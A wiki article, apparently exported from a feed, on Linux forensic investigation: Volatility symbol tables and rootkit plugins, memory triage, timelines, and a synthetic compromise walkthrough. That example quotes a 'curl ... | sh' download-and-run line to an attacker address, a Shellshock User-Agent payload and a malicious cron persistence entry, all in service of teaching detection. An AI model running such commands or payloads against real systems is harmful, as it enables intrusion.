Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself admits that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
Then pivot: use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login: jump to that time.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are &#039;&#039;&#039;ephemeral&#039;&#039;&#039;: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=254</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=254"/>
		<updated>2026-10-02T20:11:20Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=251</id>
		<title>Firewall Auditing</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=251"/>
		<updated>2026-10-02T03:52:28Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: FlyingShrimps moved page Draft:Firewall Auditing - Beginner to Firewall Auditing without leaving a redirect: Later on maybe add more citations/references but for now it&amp;#039;s good.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/firewall/Firewall_Beginner (source: docs/windows/firewall/Firewall_Beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): brody001301&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-06-2026&lt;br /&gt;
&lt;br /&gt;
